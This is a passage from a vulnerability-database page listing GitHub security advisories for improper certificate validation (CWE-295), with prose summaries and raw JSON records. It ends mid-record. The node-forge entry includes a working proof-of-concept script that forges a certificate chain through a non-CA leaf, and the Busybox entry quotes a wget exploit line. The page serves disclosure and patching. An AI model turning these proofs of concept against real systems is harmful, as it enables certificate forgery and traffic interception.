Common Weakness Enumeration

CWE-295

Allowed

Improper Certificate Validation

Abstraction: Base · Status: Draft

The product does not validate, or incorrectly validates, a certificate.

1911 vulnerabilities reference this CWE, most recent first.

GHSA-22QW-G2HG-Q8W6

Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-05-24 19:12
VLAI
Details

The mechanism which performs certificate validation was discovered to have a flaw that resulted in certificates signed by an internal certificate authority to not be properly validated. This issue only affects clients that are configured to utilize Tenable.sc as the vulnerability data source.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-27018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-30T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "The mechanism which performs certificate validation was discovered to have a flaw that resulted in certificates signed by an internal certificate authority to not be properly validated. This issue only affects clients that are configured to utilize Tenable.sc as the vulnerability data source.",
  "id": "GHSA-22qw-g2hg-q8w6",
  "modified": "2022-05-24T19:12:29Z",
  "published": "2022-05-24T19:12:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27018"
    },
    {
      "type": "WEB",
      "url": "https://puppet.com/security/cve/CVE-2021-27018"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2328-F5F3-GJ25

Vulnerability from github – Published: 2026-03-26 22:05 – Updated: 2026-03-27 21:51
VLAI
Summary
Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)
Details

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

  1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null
  2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires:

"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
//    This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [
  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf
//    This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [
  { name: 'commonName', value: 'victim.example.com' },
  { name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);

try {
  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
  console.log('  This violates RFC 5280 Section 6.1.4.');
} catch (e) {
  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}

Results: - Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280) - Certificate with basicConstraints.cA=false: correctly rejected - Certificate with keyUsage (no keyCertSign): correctly rejected - Proper intermediate CA (control): correctly accepted

Attack Scenario

An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.

This affects applications using node-forge for: - Custom PKI / certificate pinning implementations - S/MIME / PKCS#7 signature verification - IoT device certificate validation - Any non-native-TLS certificate chain verification

CVE Precedent

This is the same vulnerability class as: - CVE-2014-0092 (GnuTLS) — certificate verification bypass - CVE-2015-1793 (OpenSSL) — alternative chain verification bypass - CVE-2020-0601 (Windows CryptoAPI) — crafted certificate acceptance

Not a Duplicate

This is distinct from: - CVE-2025-12816 (ASN.1 parser desynchronization — different code path) - CVE-2025-66030/66031 (DoS and integer overflow — different issue class) - GitHub issue #1049 (null subject/issuer — different malformation)

Suggested Fix

Add an explicit check for absent basicConstraints on non-leaf certificates:

// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
  error = {
    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
    error: pki.certificateError.bad_certificate
  };
}

Disclosure Timeline

  • 2026-03-10: Report submitted via GitHub Security Advisory
  • 2026-06-08: 90-day coordinated disclosure deadline

Credits

Discovered and reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:05:43Z",
    "nvd_published_at": "2026-03-27T21:17:26Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n\u003e \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require(\u0027node-forge\u0027);\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log(\u0027=== node-forge basicConstraints Bypass PoC ===\\n\u0027);\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = \u002701\u0027;\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n  { name: \u0027commonName\u0027, value: \u0027Legitimate Root CA\u0027 },\n  { name: \u0027organizationName\u0027, value: \u0027PoC Security Test\u0027 }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n  { name: \u0027basicConstraints\u0027, cA: true, critical: true },\n  { name: \u0027keyUsage\u0027, keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root \u2014 NO basicConstraints, NO keyUsage\n//    This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = \u002702\u0027;\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n  { name: \u0027commonName\u0027, value: \u0027Non-CA Leaf Certificate\u0027 },\n  { name: \u0027organizationName\u0027, value: \u0027PoC Security Test\u0027 }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension \u2014 NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n//    This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = \u002703\u0027;\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n  { name: \u0027commonName\u0027, value: \u0027victim.example.com\u0027 },\n  { name: \u0027organizationName\u0027, value: \u0027Victim Corp\u0027 }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -\u003e leaf -\u003e victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n  console.log(\u0027[VULNERABLE] Chain verification SUCCEEDED: \u0027 + result);\n  console.log(\u0027  node-forge accepted a non-CA certificate as an intermediate CA!\u0027);\n  console.log(\u0027  This violates RFC 5280 Section 6.1.4.\u0027);\n} catch (e) {\n  console.log(\u0027[SECURE] Chain verification FAILED (expected): \u0027 + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable \u2014 violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge\u0027s `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) \u2014 certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) \u2014 alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) \u2014 crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization \u2014 different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow \u2014 different issue class)\n- GitHub issue #1049 (null subject/issuer \u2014 different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null \u0026\u0026 bcExt === null) {\n  error = {\n    message: \u0027Certificate is missing basicConstraints extension and cannot be used as a CA.\u0027,\n    error: pki.certificateError.bad_certificate\n  };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) \u2014 [doruk.ch](https://doruk.ch)",
  "id": "GHSA-2328-f5f3-gj25",
  "modified": "2026-03-27T21:51:17Z",
  "published": "2026-03-26T22:05:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33896"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)"
}

GHSA-232R-9JVP-5FFJ

Vulnerability from github – Published: 2022-05-24 17:00 – Updated: 2024-04-04 02:37
VLAI
Details

European Commission eIDAS-Node Integration Package before 2.3.1 has Missing Certificate Validation because a certain ExplicitKeyTrustEvaluator return value is not checked. NOTE: only 2.1 is confirmed to be affected.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-18633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-30T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "European Commission eIDAS-Node Integration Package before 2.3.1 has Missing Certificate Validation because a certain ExplicitKeyTrustEvaluator return value is not checked. NOTE: only 2.1 is confirmed to be affected.",
  "id": "GHSA-232r-9jvp-5ffj",
  "modified": "2024-04-04T02:37:10Z",
  "published": "2022-05-24T17:00:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18633"
    },
    {
      "type": "WEB",
      "url": "https://sec-consult.com/en/blog/advisories/15587"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2339-F8X6-MHV4

Vulnerability from github – Published: 2022-04-23 00:40 – Updated: 2024-04-03 23:51
VLAI
Details

nuSOAP before 0.7.3-5 does not properly check the hostname of a cert.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2012-6071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-11-19T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "nuSOAP before 0.7.3-5 does not properly check the hostname of a cert.",
  "id": "GHSA-2339-f8x6-mhv4",
  "modified": "2024-04-03T23:51:48Z",
  "published": "2022-04-23T00:40:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-6071"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=696707"
    },
    {
      "type": "WEB",
      "url": "https://security-tracker.debian.org/tracker/CVE-2012-6071"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/12/27/1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2013/01/15/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-23C2-W636-5RHM

Vulnerability from github – Published: 2022-05-24 16:44 – Updated: 2023-10-26 21:52
VLAI
Summary
Jenkins SiteMonitor Plugin globally and unconditionally disables SSL/TLS certificate validation
Details

Jenkins SiteMonitor Plugin unconditionally disables SSL/TLS certificate validation for the entire Jenkins controller JVM.

SiteMonitor Plugin no longer does that. Instead, it now has an opt-in option to ignore SSL/TLS errors for each site check individually.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jvnet.hudson.plugins:sitemonitor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-26T21:52:42Z",
    "nvd_published_at": "2019-04-30T13:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins SiteMonitor Plugin unconditionally disables SSL/TLS certificate validation for the entire Jenkins controller JVM.\n\nSiteMonitor Plugin no longer does that. Instead, it now has an opt-in option to ignore SSL/TLS errors for each site check individually.",
  "id": "GHSA-23c2-w636-5rhm",
  "modified": "2023-10-26T21:52:42Z",
  "published": "2022-05-24T16:44:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10317"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-04-30/#SECURITY-930"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200227073756/http://www.securityfocus.com/bid/108159"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/04/30/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins SiteMonitor Plugin globally and unconditionally disables SSL/TLS certificate validation "
}

GHSA-248X-4C3J-HCG7

Vulnerability from github – Published: 2022-05-13 01:16 – Updated: 2025-06-09 18:31
VLAI
Details

Busybox contains a Missing SSL certificate validation vulnerability in The "busybox wget" applet that can result in arbitrary code execution. This attack appear to be exploitable via Simply download any file over HTTPS using "busybox wget https://compromised-domain.com/important-file".

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-1000500"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-26T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "Busybox contains a Missing SSL certificate validation vulnerability in The \"busybox wget\" applet that can result in arbitrary code execution. This attack appear to be exploitable via Simply download any file over HTTPS using \"busybox wget https://compromised-domain.com/important-file\".",
  "id": "GHSA-248x-4c3j-hcg7",
  "modified": "2025-06-09T18:31:56Z",
  "published": "2022-05-13T01:16:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000500"
    },
    {
      "type": "WEB",
      "url": "https://git.busybox.net/busybox/commit/?id=45fa3f18adf57ef9d743038743d9c90573aeeb91"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4531-1"
    },
    {
      "type": "WEB",
      "url": "http://lists.busybox.net/pipermail/busybox/2018-May/086462.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-24JX-JXXH-QRW7

Vulnerability from github – Published: 2022-05-14 03:46 – Updated: 2022-05-14 03:46
VLAI
Details

The Neon app 1.6.14 iOS does not verify X.509 certificates from SSL servers, which allows remote attackers to spoof servers and obtain sensitive information via a crafted certificate.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-5258"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-01-17T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The Neon app 1.6.14 iOS does not verify X.509 certificates from SSL servers, which allows remote attackers to spoof servers and obtain sensitive information via a crafted certificate.",
  "id": "GHSA-24jx-jxxh-qrw7",
  "modified": "2022-05-14T03:46:40Z",
  "published": "2022-05-14T03:46:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5258"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/rlaneth/d2203c206d5d5acbdaf6069e78b1d07f"
    },
    {
      "type": "WEB",
      "url": "https://radialle.com/cve-2018-5258-writeup-aplicativo-do-banco-neon-para-ios-n%C3%A3o-valida-certificados-ssl-84bed0b0cecb"
    },
    {
      "type": "WEB",
      "url": "https://www.tecmundo.com.br/seguranca/126192-banco-neon-falha-permite-hacker-acesse-conta-roube-dados-clientes.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-24VX-5H6H-8Q7M

Vulnerability from github – Published: 2026-05-21 18:33 – Updated: 2026-05-21 18:33
VLAI
Details

Open ISES Tickets before 3.44.2 disables TLS certificate verification in incs/functions.inc.php by setting CURLOPT_SSL_VERIFYPEER to false (and not setting CURLOPT_SSL_VERIFYHOST) when issuing outbound HTTPS requests for general-purpose outbound HTTPS requests issued by the shared helper functions. An attacker positioned on the network path between the server and the remote endpoint can present a forged certificate to intercept, monitor, or modify the request and response, including any API keys or session-bearing data in transit.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-48247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-21T18:16:21Z",
    "severity": "HIGH"
  },
  "details": "Open ISES Tickets before 3.44.2 disables TLS certificate verification in incs/functions.inc.php by setting CURLOPT_SSL_VERIFYPEER to false (and not setting CURLOPT_SSL_VERIFYHOST) when issuing outbound HTTPS requests for general-purpose outbound HTTPS requests issued by the shared helper functions. An attacker positioned on the network path between the server and the remote endpoint can present a forged certificate to intercept, monitor, or modify the request and response, including any API keys or session-bearing data in transit.",
  "id": "GHSA-24vx-5h6h-8q7m",
  "modified": "2026-05-21T18:33:15Z",
  "published": "2026-05-21T18:33:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48247"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openises/tickets/commit/ecfeb406a016766cae81c749e14b5145a9f2dbff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openises/tickets/releases/tag/v3.44.2"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/open-ises-tickets-disabled-tls-certificate-verification-in-incs-functions-inc-php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-255V-QV84-29P5

Vulnerability from github – Published: 2025-09-17 20:11 – Updated: 2025-09-26 16:19
VLAI
Summary
DragonFly's manager generates mTLS certificates for arbitrary IP addresses
Details

Impact

A peer can obtain a valid TLS certificate for arbitrary IP addresses, effectively rendering the mTLS authentication useless. The issue is that the Manager’s Certificate gRPC service does not validate if the requested IP addresses “belong to” the peer requesting the certificate—that is, if the peer connects from the same IP address as the one provided in the certificate request.

if addr, ok := p.Addr.(*net.TCPAddr); ok {
       ip = addr.IP.String()
} else {
       ip, _, err = net.SplitHostPort(p.Addr.String())
       if err != nil {
             return nil, err
       }
}
// Parse csr.
[skipped]
// Check csr signature.
// TODO check csr common name and so on.
if err = csr.CheckSignature(); err != nil {
       return nil, err
}
[skipped]
// TODO only valid for peer ip
// BTW we need support both of ipv4 and ipv6.
ips := csr.IPAddresses
if len(ips) == 0 {
       // Add default connected ip.
       ips = []net.IP{net.ParseIP(ip)}
}

Patches

  • Dragonfy v2.1.0 and above.

Workarounds

There are no effective workarounds, beyond upgrading.

References

A third party security audit was performed by Trail of Bits, you can see the full report.

If you have any questions or comments about this advisory, please email us at dragonfly-maintainers@googlegroups.com.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dragonflyoss/dragonfly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "d7y.io/dragonfly/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59353"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-17T20:11:37Z",
    "nvd_published_at": "2025-09-17T20:15:37Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nA peer can obtain a valid TLS certificate for arbitrary IP addresses, effectively rendering the mTLS authentication useless. The issue is that the Manager\u2019s Certificate gRPC service does not validate if the requested IP addresses \u201cbelong to\u201d the peer requesting the certificate\u2014that is, if the peer connects from the same IP address as the one provided in the certificate request.\n\n```golang\nif addr, ok := p.Addr.(*net.TCPAddr); ok {\n       ip = addr.IP.String()\n} else {\n       ip, _, err = net.SplitHostPort(p.Addr.String())\n       if err != nil {\n             return nil, err\n       }\n}\n// Parse csr.\n[skipped]\n// Check csr signature.\n// TODO check csr common name and so on.\nif err = csr.CheckSignature(); err != nil {\n       return nil, err\n}\n[skipped]\n// TODO only valid for peer ip\n// BTW we need support both of ipv4 and ipv6.\nips := csr.IPAddresses\nif len(ips) == 0 {\n       // Add default connected ip.\n       ips = []net.IP{net.ParseIP(ip)}\n}\n```\n### Patches\n\n- Dragonfy v2.1.0 and above.\n\n### Workarounds\n\nThere are no effective workarounds, beyond upgrading.\n\n### References\n\nA third party security audit was performed by Trail of Bits, you can see the [full report](https://github.com/dragonflyoss/dragonfly/blob/main/docs/security/dragonfly-comprehensive-report-2023.pdf).\n\nIf you have any questions or comments about this advisory, please email us at [dragonfly-maintainers@googlegroups.com](mailto:dragonfly-maintainers@googlegroups.com).",
  "id": "GHSA-255v-qv84-29p5",
  "modified": "2025-09-26T16:19:18Z",
  "published": "2025-09-17T20:11:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-255v-qv84-29p5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59353"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dragonflyoss/dragonfly"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/blob/main/docs/security/dragonfly-comprehensive-report-2023.pdf"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3969"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DragonFly\u0027s manager generates mTLS certificates for arbitrary IP addresses"
}

GHSA-25GF-8QRR-G78R

Vulnerability from github – Published: 2021-07-19 21:21 – Updated: 2022-08-11 20:43
VLAI
Summary
Hashicorp Consul Missing SSL Certificate Validation
Details

HashiCorp Consul before 1.10.1 (and Consul Enterprise) has Missing SSL Certificate Validation. xds does not ensure that the Subject Alternative Name of an upstream is validated.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hashicorp/consul"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32574"
  ],
  "database_specific": {
    "cwe_ids": [
